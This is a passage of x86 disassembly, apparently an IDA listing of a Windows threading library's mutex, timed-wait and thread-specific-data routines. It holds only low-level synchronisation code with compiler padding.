		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_42BF38
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42BF38
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42BDD1
		push	esi
		call	sub_401AFF
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_42BDD1
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BDD1:				; CODE XREF: sub_42BDA0+1Dj
					; sub_42BDA0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		call	ds:dword_4B382C
		test	eax, eax
		jnz	short loc_42BE02


loc_42BDE0:				; CODE XREF: sub_42BDA0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_42BF2E
		call	sub_4012AD
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BE02:				; CODE XREF: sub_42BDA0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_42BE46
		call	sub_4012AD
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_40196F
		add	esp, 8
		test	eax, eax
		jz	short loc_42BE46
		push	esi
		call	ds:dword_4B3850
		cmp	dword ptr [esi+8], 1
		jnz	short loc_42BE3A
		mov	eax, [esi+4]
		pop	edi
		inc	eax
		pop	ebx
		mov	[esi+4], eax
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BE3A:				; CODE XREF: sub_42BDA0+8Aj
		mov	ebp, 24h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BE46:				; CODE XREF: sub_42BDA0+67j
					; sub_42BDA0+7Dj
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_42BE5A
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BE5A:				; CODE XREF: sub_42BDA0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_42BFB0
		add	esp, 8
		sub	eax, 0
		jz	loc_42BF1A
		dec	eax
		jz	short loc_42BEE4
		dec	eax
		jz	short loc_42BE85
		call	ds:dword_4B3A50
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BE85:				; CODE XREF: sub_42BDA0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	ds:dword_4B3868
		push	edi
		mov	ebp, 274Ch
		call	sub_401096
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_42BEB7
		call	ds:dword_4B3850
		push	ebx
		call	ds:dword_4B386C
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BEB7:				; CODE XREF: sub_42BDA0+101j
		call	ds:dword_4B3850
		test	eax, eax
		jl	short loc_42BED6
		push	edi
		call	sub_401037
		add	esp, 4
		test	eax, eax
		jz	short loc_42BED6
		call	ds:dword_4B3A50
		mov	ebp, [eax]


loc_42BED6:				; CODE XREF: sub_42BDA0+11Fj
					; sub_42BDA0+12Cj
		push	ebx
		call	ds:dword_4B386C
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BEE4:				; CODE XREF: sub_42BDA0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		call	ds:dword_4B3868
		push	edi
		call	sub_401096
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42BF0A
		push	esi
		call	ds:dword_4B3850
		mov	ebp, 274Ch


loc_42BF0A:				; CODE XREF: sub_42BDA0+15Cj
		push	ebx
		call	ds:dword_4B386C
		test	edi, edi
		jnz	short loc_42BF31
		jmp	loc_42BDE0
; ---------------------------------------------------------------------------


loc_42BF1A:				; CODE XREF: sub_42BDA0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_42BF2E
		call	sub_4012AD


loc_42BF2E:				; CODE XREF: sub_42BDA0+4Dj
					; sub_42BDA0+187j
		mov	[esi+0Ch], eax


loc_42BF31:				; CODE XREF: sub_42BDA0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42BF38:				; CODE XREF: sub_42BDA0+Aj
					; sub_42BDA0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_42BDA0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BFB0	proc near		; CODE XREF: sub_42BDA0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_42C04D
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_42BFE2
		or	eax, 0FFFFFFFFh


loc_42BFCC:				; CODE XREF: sub_42BFB0+7Ej
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		call	ds:dword_4B3848
		test	eax, eax
		jnz	short loc_42C03B
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_42BFE2:				; CODE XREF: sub_42BFB0+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	sub_4305A6
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_42BFCC
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_42C03B:				; CODE XREF: sub_42BFB0+2Aj
		cmp	eax, 102h
		jnz	short loc_42C04D
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_42C04D:				; CODE XREF: sub_42BFB0+Bj
					; sub_42BFB0+90j
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_42BFB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_4010AFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_42C140
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_42C140
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_42C135
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_42C0EA
		call	sub_4012AD
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_40196F
		add	esp, 8
		test	eax, eax
		jnz	short loc_42C0EA
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42C0EA:				; CODE XREF: sub_42C0A0+2Aj
					; sub_42C0A0+40j
		cmp	[esi+8], edi
		jnz	short loc_42C0F8
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_42C13A


loc_42C0F8:				; CODE XREF: sub_42C0A0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		call	ds:dword_4B3868
		push	esi
		call	ds:dword_4B3850
		test	eax, eax
		jl	short loc_42C128
		add	esi, 10h
		push	esi
		call	sub_401037
		add	esp, 4
		test	eax, eax
		jz	short loc_42C128
		call	ds:dword_4B3A50
		mov	ebx, [eax]


loc_42C128:				; CODE XREF: sub_42C0A0+6Ej
					; sub_42C0A0+7Ej
		push	edi
		call	ds:dword_4B386C
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42C135:				; CODE XREF: sub_42C0A0+1Ej
		mov	ebx, 16h


loc_42C13A:				; CODE XREF: sub_42C0A0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42C140:				; CODE XREF: sub_42C0A0+Aj
					; sub_42C0A0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C180	proc near		; CODE XREF: sub_4016DBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_42C205
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42C205
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42C1A2
		push	esi
		call	sub_401AFF
		add	esp, 4
		mov	edi, eax


loc_42C1A2:				; CODE XREF: sub_42C180+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_42C200
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	ds:dword_4B26F4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42C1D3
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_42C1CB
		call	sub_4012AD


loc_42C1CB:				; CODE XREF: sub_42C180+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42C1D3:				; CODE XREF: sub_42C180+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_42C1FB
		call	sub_4012AD
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_40196F
		add	esp, 8
		test	eax, eax
		jz	short loc_42C1FB
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42C1FB:				; CODE XREF: sub_42C180+57j
					; sub_42C180+6Dj
		mov	edi, 10h


loc_42C200:				; CODE XREF: sub_42C180+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42C205:				; CODE XREF: sub_42C180+Aj
					; sub_42C180+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_42C180	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C240:				; CODE XREF: _294ADE7B:00401857j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_401177
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C270:				; CODE XREF: _294ADE7B:00401519j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4017F3
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2A0:				; CODE XREF: _294ADE7B:00401438j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C2AC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_42C2AC:				; CODE XREF: _294ADE7B:0042C2A6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: _294ADE7B:00401AFAj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_42C2D2
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42C2D2:				; CODE XREF: _294ADE7B:0042C2C8j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_42C2F5
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_42C2F5
		call	sub_401BCC
		push	esi
		call	ds:dword_4B38CC
		call	sub_401BCC
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42C2F5:				; CODE XREF: _294ADE7B:0042C2D6j
					; _294ADE7B:0042C2DDj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012AD
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C32E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42C32E:				; CODE XREF: _294ADE7B:0042C324j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_42C396
		mov	edx, [esi+38h]
		push	edx
		call	ds:dword_4B3848
		test	eax, eax
		jnz	short loc_42C387
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_40208B
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_42C376
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010AF
		push	2
		call	sub_401CA8
		add	esp, 8


loc_42C376:				; CODE XREF: _294ADE7B:0042C356j
		push	edi
		call	sub_4010AF
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42C387:				; CODE XREF: _294ADE7B:0042C342j
		cmp	eax, 102h
		jz	short loc_42C39C
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42C396:				; CODE XREF: _294ADE7B:0042C334j
		call	ds:dword_4B38CC


loc_42C39C:				; CODE XREF: _294ADE7B:0042C38Cj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C3F0:				; CODE XREF: _294ADE7B:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401B13
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_42C40B
		mov	eax, [esp+0]


loc_42C40B:				; CODE XREF: _294ADE7B:0042C405j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C420	proc near		; CODE XREF: sub_401672j
		push	esi
		call	sub_4012DF
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		call	ds:dword_4B38A4
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	ds:dword_4B26D8, eax
		call	ds:dword_4B38A8
		test	eax, eax
		mov	ds:dword_4B26F4, eax
		jnz	short loc_42C46D
		mov	eax, ds:dword_4B26D8
		mov	ds:dword_4B26F4, offset	sub_401299
		push	eax
		call	ds:dword_4B3818
		mov	ds:dword_4B26D8, 0


loc_42C46D:				; CODE XREF: sub_42C420+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_42C420	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4A0	proc near		; CODE XREF: sub_4015A0j
		mov	eax, ds:dword_4B26DC
		test	eax, eax
		jz	short loc_42C4F0
		mov	eax, ds:dword_4B26E0
		push	eax
		call	sub_40116D
		add	esp, 4
		test	eax, eax
		jz	short loc_42C4DB
		cmp	dword ptr [eax+20h], 1
		jnz	short loc_42C4DB
		push	eax
		call	sub_4016F4
		mov	ecx, ds:dword_4B26E0
		add	esp, 4
		mov	edx, [ecx]
		push	0
		push	edx
		call	ds:dword_4B3814


loc_42C4DB:				; CODE XREF: sub_42C4A0+19j
					; sub_42C4A0+1Fj
		call	sub_4015B9
		mov	eax, ds:dword_4B26D8
		test	eax, eax
		jz	short loc_42C4F0
		push	eax
		call	ds:dword_4B3818


loc_42C4F0:				; CODE XREF: sub_42C4A0+7j
					; sub_42C4A0+47j
		mov	eax, 1
		retn
sub_42C4A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C520	proc near		; CODE XREF: sub_4016F9j
		mov	eax, 1
		retn
sub_42C520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C540	proc near		; CODE XREF: sub_401708j
		mov	eax, ds:dword_4B26DC
		test	eax, eax
		jz	short loc_42C57B
		mov	eax, ds:dword_4B26E0
		push	eax
		call	sub_40116D
		add	esp, 4
		test	eax, eax
		jz	short loc_42C57B
		cmp	dword ptr [eax+20h], 1
		jnz	short loc_42C57B
		push	eax
		call	sub_4016F4
		mov	ecx, ds:dword_4B26E0
		add	esp, 4
		mov	edx, [ecx]
		push	0
		push	edx
		call	ds:dword_4B3814


loc_42C57B:				; CODE XREF: sub_42C540+7j
					; sub_42C540+19j ...
		mov	eax, 1
		retn
sub_42C540	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C5B0:				; CODE XREF: _294ADE7B:0040209Aj
		push	ecx
		push	esi
		push	offset dword_4B27E0
		xor	esi, esi
		call	ds:dword_4B3868
		mov	eax, ds:dword_4B26E8
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_42C5EE


loc_42C5CC:				; CODE XREF: _294ADE7B:0042C5ECj
		test	esi, esi
		jnz	short loc_42C5EE
		lea	eax, [esp+4]
		push	eax
		call	sub_401587
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_42C5CC


loc_42C5EE:				; CODE XREF: _294ADE7B:0042C5CAj
					; _294ADE7B:0042C5CEj
		push	offset dword_4B27E0
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C630	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_42C649
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42C649
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_42C649
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42C649:				; CODE XREF: sub_42C630+6j
					; sub_42C630+Cj ...
		mov	eax, 1
		retn
sub_42C630	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C660	proc near		; CODE XREF: sub_4012DFj
		mov	eax, ds:dword_4B26DC
		test	eax, eax
		jz	short loc_42C66F
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42C66F:				; CODE XREF: sub_42C660+7j
		push	0
		push	offset dword_4B26E0
		mov	ds:dword_4B26DC, 1
		call	sub_401582
		add	esp, 8
		test	eax, eax
		jnz	short loc_42C69E
		push	eax
		push	offset dword_4B26E4
		call	sub_401582
		add	esp, 8
		test	eax, eax
		jz	short loc_42C6A3


loc_42C69E:				; CODE XREF: sub_42C660+2Aj
		call	sub_4015B9


loc_42C6A3:				; CODE XREF: sub_42C660+3Cj
		push	esi
		mov	esi, ds:dword_4B3860
		push	offset dword_4B2720
		call	esi
		push	offset dword_4B2780
		call	esi
		push	offset dword_4B27E0
		call	esi
		push	offset dword_4B2760
		call	esi
		push	offset dword_4B27C0
		call	esi
		push	offset dword_4B27A0
		call	esi
		mov	eax, ds:dword_4B26DC
		pop	esi
		retn
sub_42C660	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C700	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ds:dword_4B26DC
		test	eax, eax
		jz	locret_42C7B9
		mov	eax, ds:dword_4B26E0
		test	eax, eax
		jz	short loc_42C729
		push	eax
		call	sub_4019BF
		add	esp, 4
		mov	ds:dword_4B26E0, 0


loc_42C729:				; CODE XREF: sub_42C700+14j
		mov	eax, ds:dword_4B26E4
		test	eax, eax
		jz	short loc_42C745
		push	eax
		call	sub_4019BF
		add	esp, 4
		mov	ds:dword_4B26E4, 0


loc_42C745:				; CODE XREF: sub_42C700+30j
		push	esi
		push	offset dword_4B2720
		call	ds:dword_4B3868
		mov	eax, ds:dword_43FA0C
		cmp	eax, 1
		jz	short loc_42C773
		push	edi
		mov	edi, ds:dword_4B3AAC


loc_42C762:				; CODE XREF: sub_42C700+70j
		mov	esi, [eax+8]
		push	eax
		call	edi
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_42C762
		pop	edi


loc_42C773:				; CODE XREF: sub_42C700+59j
		push	offset dword_4B2720
		call	ds:dword_4B386C
		mov	esi, ds:dword_4B385C
		push	offset dword_4B27A0
		call	esi
		push	offset dword_4B27C0
		call	esi
		push	offset dword_4B2760
		call	esi
		push	offset dword_4B27E0
		call	esi
		push	offset dword_4B2780
		call	esi
		push	offset dword_4B2720
		call	esi
		mov	ds:dword_4B26DC, 0
		pop	esi

locret_42C7B9:				; CODE XREF: sub_42C700+7j
		retn
sub_42C700	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C7F0:				; CODE XREF: _294ADE7B:loc_401AA0j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		call	ds:dword_4B3AAC
		mov	eax, ds:dword_4B26E0
		push	esi
		push	eax
		call	sub_401F5A
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_4305AC
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42C84C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_42C858
; ---------------------------------------------------------------------------


loc_42C84C:				; CODE XREF: _294ADE7B:0042C839j
		dec	eax
		jz	short loc_42C855
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_42C858
; ---------------------------------------------------------------------------


loc_42C855:				; CODE XREF: _294ADE7B:0042C84Dj
		mov	esi, [edi+14h]


loc_42C858:				; CODE XREF: _294ADE7B:0042C84Aj
					; _294ADE7B:0042C853j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_42C877
		call	sub_401708
		push	esi
		call	ds:dword_4B3A3C
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C877:				; CODE XREF: _294ADE7B:0042C85Cj
		push	edi
		call	sub_4012DA
		add	esp, 4
		push	esi
		call	ds:dword_4B3A3C
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C8D0	proc near		; CODE XREF: sub_4016F4j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_42C94A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_40208B
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010AF
		push	ebx
		call	sub_4012DA
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401AC3
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, ds:dword_4B38C8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_42C928
		push	eax
		call	esi


loc_42C928:				; CODE XREF: sub_42C8D0+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402090
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_42C94A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_42C94A
		push	eax
		call	esi


loc_42C94A:				; CODE XREF: sub_42C8D0+11j
					; sub_42C8D0+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_42C8D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C990	proc near		; CODE XREF: sub_401C99j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_42C9B1
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42C9B1:				; CODE XREF: sub_42C990+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_40208B
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_42C9F2
		push	esi
		call	sub_402090
		push	esi
		call	ds:dword_4B3AAC
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C990+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010AF
		add	esp, 4
		test	ebp, ebp
		jz	short loc_42CA17
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_42CA17:				; CODE XREF: sub_42C990+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42C990	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CA60	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42CA87
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_42CA87
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_42CA87
		push	esi
		call	sub_402090
		push	esi
		call	ds:dword_4B3AAC
		add	esp, 8


loc_42CA87:				; CODE XREF: sub_42CA60+7j
					; sub_42CA60+Ej ...
		pop	esi
		retn
sub_42CA60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CAA0	proc near		; CODE XREF: sub_4012DAj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_42CB0D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_42CB0D
		push	edi


loc_42CAB5:				; CODE XREF: sub_42CAA0+6Aj
		push	esi
		call	sub_40208B
		add	esp, 4
		test	eax, eax
		jnz	short loc_42CB08
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_42CAE3
		push	edi
		call	sub_40116D
		add	esp, 4
		test	eax, eax
		jz	short loc_42CAE3
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_42CAE3
		push	eax
		call	edi
		add	esp, 4


loc_42CAE3:				; CODE XREF: sub_42CAA0+27j
					; sub_42CAA0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010AF
		push	esi
		call	sub_40105A
		mov	esi, [ebx+80h]
		add	esp, 8


loc_42CB08:				; CODE XREF: sub_42CAA0+20j
		test	esi, esi
		jnz	short loc_42CAB5
		pop	edi


loc_42CB0D:				; CODE XREF: sub_42CAA0+8j
					; sub_42CAA0+12j
		pop	esi
